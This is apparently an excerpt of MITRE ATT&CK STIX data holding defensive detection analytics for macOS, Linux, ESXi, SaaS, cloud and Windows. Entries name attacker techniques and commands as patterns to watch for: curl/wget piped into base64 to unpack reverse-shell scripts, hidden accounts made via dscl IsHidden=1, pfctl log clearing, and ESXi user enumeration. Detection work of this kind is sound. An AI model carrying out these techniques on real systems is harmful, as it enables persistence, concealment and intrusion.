            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c46d9fac-eac9-479e-91d3-4f5a1066972d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0429#AN1197",
                    "external_id": "AN1197"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1197",
            "description": "Detects the modification or addition of Launch Agents or Startup Items to establish persistence. Adversaries may write plist or executable files to ~/Library/LaunchAgents/, /Library/StartupItems/, or similar directories and configure them to run at user or system boot. Detection requires correlating file creation or modification events with subsequent user logon or boot-time process execution.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "launchservices or loginwindow events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:fsevents",
                    "channel": "/Library/StartupItems/, ~/Library/LaunchAgents/"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "directory_path",
                    "description": "Specific paths to monitor may differ across macOS versions or enterprise baselines."
                },
                {
                    "field": "user_context",
                    "description": "Different users may have unique LaunchAgents folders\u2014tuning may be required."
                },
                {
                    "field": "time_window",
                    "description": "The correlation time between file creation and process execution may need to be adjusted for boot persistence."
                },
                {
                    "field": "process_name",
                    "description": "Specific startup binaries (e.g., bash, osascript) may vary across implementations."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c4866ad5-310c-4a72-89b5-1e5a8683d286",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0275#AN0768",
                    "external_id": "AN0768"
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            ],
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            "name": "Analytic 0768",
            "description": "The adversary uses native utilities like base64, gzip, tar, or openssl to decode, decompress, or decrypt files that were previously staged or downloaded. These tools may be chained with curl/wget and executed via bash/zsh, often to extract an embedded payload or reverse shell script.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "bash/zsh of base64, tar, gzip, or openssl immediately after file write"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ShellProcessName",
                    "description": "Shell interpreter may vary (bash, zsh, dash, sh)"
                },
                {
                    "field": "DecodeUtility",
                    "description": "May include base64, openssl, gunzip, tar, uudecode"
                },
                {
                    "field": "ParentProcess",
                    "description": "Expected parent process may vary in attacker chain (e.g., curl, bash, ssh)"
                },
                {
                    "field": "ArgumentPattern",
                    "description": "Detection regex should support flexible patterning of decode switches"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c4973f27-c8db-4478-aaf8-eb73580fceec",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0587#AN1617",
                    "external_id": "AN1617"
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            ],
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            "modified": "2026-05-12T16:30:18.382Z",
            "name": "Analytic 1617",
            "description": "Detection of enumeration activity when system processes query ESXi host account configuration or management APIs to retrieve user account listings.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:vpxd",
                    "channel": "vCenter Management"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandPattern",
                    "description": "Tune based on known enumeration commands: 'vim-cmd vimsvc/auth/userlist'."
                },
                {
                    "field": "PrivilegedSession",
                    "description": "Elevated enumeration from vpxuser or root may indicate threat activity."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c4a0d95a-2dfc-4b03-830e-d0dafca0be6f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1343",
                    "external_id": "AN1343"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1343",
            "description": "SaaS applications receiving authentication failures for dozens of accounts using same password or login signature",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "SaaS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "saas:auth",
                    "channel": "signin_failed"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CloudAppScope",
                    "description": "Restrict detection to identity providers or select high-risk SaaS platforms"
                },
                {
                    "field": "UserPopulationSensitivity",
                    "description": "Adjust based on size and role of account pool"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c4cabd45-86a2-4842-9171-dff93f6ac737",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0283#AN0786",
                    "external_id": "AN0786"
                }
            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0786",
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            ],
            "x_mitre_deprecated": false
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                    "field": "TimeWindow",
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            ]
        },
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                    "channel": "EventCode=1"
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            ],
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                    "field": "ObjectType",
                    "description": "Focus on `trustedDomain` or `foreignSecurityPrincipal` AD objects in trust containers."
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                {
                    "field": "AttributeModified",
                    "description": "Monitor attributes like `trustPartner`, `trustDirection`, `trustType`, `msDS-TrustForestTrustInfo`."
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                {
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                },
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                    "field": "TimeWindow",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
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                    "channel": "Terminal/Editor processes modifying web folder"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "macos:unifiedlog",
                    "channel": "loginwindow or sshd events with external IP"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "web_root_dir",
                    "description": "May include ~/Sites or custom Apache paths"
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                {
                    "field": "editor_name",
                    "description": "Text editor or script modifying the files may vary (e.g., nano, VS Code)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0986",
            "description": "Detects malicious containers or pods using names, labels, or namespaces that mimic legitimate workloads; also checks for image layer mismatches and unauthorized resource deployments.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
                "Containers"
            ],
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                {
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                {
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                    "name": "containerd:events",
                    "channel": "Docker or containerd image pulls and process executions"
                }
            ],
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                {
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                {
                    "field": "image_baseline_hashes",
                    "description": "Reference hashes of approved container images"
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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            ],
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            "description": "Detection focuses on identifying unauthorized or anomalous changes to compute infrastructure components. Defender perspective: monitor for creation, deletion, or modification of instances, volumes, and snapshots outside of approved change management windows; correlate abnormal activity such as rapid snapshot creation followed by new instance mounts, or repeated infrastructure changes by rarely used accounts. Flagging activity linked to unusual geolocation, API client, or automation script is suspicious.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "IaaS"
            ],
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                    "channel": "RunInstances"
                },
                {
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                {
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                {
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                    "x_mitre_data_component_ref": "x-mitre-data-component--dad75cc7-5bae-4175-adb4-ca1962d8650e",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432",
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                {
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f1eb6ea9-f3ab-414f-af35-2d5427199984",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f",
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            ],
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                },
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                    "field": "UserContext",
                    "description": "IAM user, role, or service account performing the operation. Tunable to allowlist known automation services."
                },
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                },
                {
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                    "description": "Region or source IP where changes originate. Useful for tuning alerts to account for multi-region deployments."
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            ]
        },
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0204"
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
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                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "Windows Firewall Log",
                    "channel": "SMB over high port"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "InternalConnectionPattern",
                    "description": "Tune based on known host-to-host communications that are rare (e.g., workstation-to-workstation)."
                },
                {
                    "field": "DestinationPort",
                    "description": "Focus on unusual internal traffic on ports like 1080, 8080, 4444, or SMB over non-standard ports."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate unusual traffic bursts with new process execution."
                }
            ]
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0497"
                }
            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0497",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd",
                    "name": "networkdevice:config",
                    "channel": "Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "networkdevice:syslog",
                    "channel": "Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "Outbound or inbound TFTP file transfers of ROMMON or firmware binaries"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ApprovedROMMONVersions",
                    "description": "Baseline ROMMON image versions authorized for the environment"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between ROMMON update command, TFTP file transfer, and device reboot"
                },
                {
                    "field": "AdminUserContext",
                    "description": "Expected privileged accounts allowed to execute ROMMON upgrade commands"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--caa11058-4906-48b4-ab3f-a650aab6968d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0245#AN0683",
                    "external_id": "AN0683"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0683",
            "description": "Monitor call log records from corporate devices for unusual or unauthorized numbers, especially repeated calls to/from known malicious phone numbers. Correlate with subsequent system events (e.g., browser navigation, remote management tool execution).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "ApplicationLog:CallRecords",
                    "channel": "Outbound or inbound calls to high-risk or blocklisted numbers"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PhoneNumberBlocklist",
                    "description": "List of known malicious or suspicious phone numbers; must be tuned per environment"
                },
                {
                    "field": "TimeWindow",
                    "description": "Threshold for correlating call events with subsequent suspicious system activity"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--cabc275f-5097-4d2e-aabe-b49a31ba87b9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0353#AN1003",
                    "external_id": "AN1003"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1003",
            "description": "User creation or modification via dscl with IsHidden=1, UID<500, or plist edits to com.apple.loginwindow Hide500Users flag. Defender view: correlation of hidden account attributes with login screen exclusion.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of dscl . create with IsHidden=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:unifiedlog",
                    "channel": "Modification of /Library/Preferences/com.apple.loginwindow plist"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "macos:unifiedlog",
                    "channel": "Creation of user account with UID <500"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UIDThreshold",
                    "description": "Tune detection based on acceptable UID ranges for hidden/system accounts."
                },
                {
                    "field": "PlistScope",
                    "description": "Restrict plist monitoring to com.apple.loginwindow to reduce false positives."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Detection of shell commands that leverage encoded execution, command chaining, excessive piping, or unusual token patterns indicative of obfuscation.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "linux:osquery",
                    "channel": "process_events.command_line"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandLineTokenCount",
                    "description": "Tuning value for token or argument count in shell invocations"
                },
                {
                    "field": "EncodedExecRegex",
                    "description": "Environment-specific regex patterns for encoded or eval'd command lines"
                },
                {
                    "field": "GlobPatternAnomalies",
                    "description": "Shell-specific globbing or directory traversal string detection"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--cae917e6-7542-41d0-8b03-ad2b7ab1eb01",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0457#AN1257",
                    "external_id": "AN1257"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1257",
            "description": "VMCI (Virtual Machine Communication Interface) traffic between guest and host, or between VMs, originating from non-management tools or unauthorized binaries.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "esxi:vmkernel",
                    "channel": "VMCI syslog entries"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "VMCIBackdoorProcess",
                    "description": "Monitor for non-vSphere or VMware-native processes using VMCI."
                },
                {
                    "field": "GuestToHostCommPattern",
                    "description": "Baseline pattern of guest-to-host traffic vs anomaly (unexpected port, volume)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--cb177f89-c8a4-4233-a2e4-3fdd02dccba1",
            "created": "2025-10-21T15:10:28.402Z",
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                    "name": "WinEventLog:Sysmon",
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                }
            ],
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                    "description": "Filter for specific interface categories (e.g., WiFi, Bluetooth, 4G)."
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                {
                    "field": "FileSizeThreshold",
                    "description": "Tunable for environment-specific large file access events pre-transfer."
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal correlation window for file read followed by network activity."
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            ]
        },
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
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            "name": "Analytic 2009",
            "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
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        },
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                "enterprise-attack"
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "execution of curl, osascript, or unexpected Office processes"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
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                    "field": "WatchedApps",
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                    "field": "EntropyThreshold",
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            ],
            "x_mitre_deprecated": false
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            "x_mitre_deprecated": false,
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                {
                    "field": "AllowedApps",
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                    "field": "AnomalousConsentPatterns",
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            "type": "x-mitre-analytic",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
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                "Linux"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "execve"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "auditd:MMAP",
                    "channel": "memory region with RWX permissions allocated"
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            ],
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                {
                    "field": "ProcessNameScope",
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                {
                    "field": "RWXMemoryThreshold",
                    "description": "Adjust threshold for allowed RWX allocations to reduce false positives in JIT runtimes."
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "name": "Analytic 1266",
            "description": "Multiple sign-in failures against cloud-based applications using username/password combinations leaked from unrelated domains",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
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                "SaaS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
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            ],
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                {
                    "field": "UserAccountOverlap",
                    "description": "Correlate credentials reused across multiple SaaS platforms"
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                    "field": "FailedAttemptsPerIP",
                    "description": "Number of failed logins from same IP before alerting"
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
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            "name": "Analytic 1342",
            "description": "Failed authentication attempts across user mailboxes using identical or common passwords (e.g., OWA brute attempts)",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "m365:exchange",
                    "channel": "FailedLogin"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MailboxAccessAttempts",
                    "description": "Threshold on mailbox login failures by same IP"
                },
                {
                    "field": "EmailPatternAnalysis",
                    "description": "Match target usernames to common spray dictionaries"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0135",
            "description": "Detects removal of Remote Login or Screen Sharing logs in Unified Logging, deletion of `com.apple.UTun`, or suspicious Terminal use of `rm`, `sudo pfctl -F all` to clear network state/config history.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate 'eventMessage contains \"loginwindow\" or \"pfctl\"'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:osquery",
                    "channel": "file_events"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "FilenameMatch",
                    "description": "e.g., *com.apple.UTun*, *RemoteManagement* log files"
                },
                {
                    "field": "TimeDeltaFromLogin",
                    "description": "Correlate deletion with recent SSH or GUI remote login session"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--d02dbf1d-b6e9-4c3c-84a2-f70fec797504",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0238#AN0662",
                    "external_id": "AN0662"
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0662",
            "description": "Adversary modifies website or application-hosted content via unauthorized file changes or script injections, often by exploiting web servers or CMS access.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "WinEventLog:Application",
                    "channel": "Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "target_filenames",
                    "description": "Environment-specific naming of defacement-prone files like 'index.html', 'main.css', 'app.js'."
                },
                {
                    "field": "TimeWindow",
                    "description": "Detection based on rapid sequence of file writes and script injections within short time intervals."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0120",
            "description": "Detection of commands accessing locale, timezone, or language settings such as 'locale', 'timedatectl', or parsing /etc/timezone. Anomalous execution by unusual users or automation scripts should be flagged.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "execve calls to locale, timedatectl, or cat /etc/timezone"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
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                {
                    "field": "UserContext",
                    "description": "Unexpected users running location discovery commands may indicate malicious behavior."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
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            "name": "Analytic 1545",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "macos:unifiedlog",
                    "channel": "loginwindow, sshd"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "exec logs"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "LoginOrigin",
                    "description": "Login sourced from unexpected remote addresses."
                },
                {
                    "field": "ProcessTreeDepth",
                    "description": "Track execution depth or anomalous chains post-login."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                "ESXi"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                {
                    "field": "MaintenanceWindow",
                    "description": "Expected times for reboot/shutdown behavior."
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            ],
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                    "field": "MFAHooks",
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                "macOS"
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                    "field": "TransferProtocolOutlier",
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            "x_mitre_domains": [
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "description": "Time threshold for correlating group discovery with subsequent suspicious activity (e.g., lateral movement)."
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                    "field": "UserContext",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                {
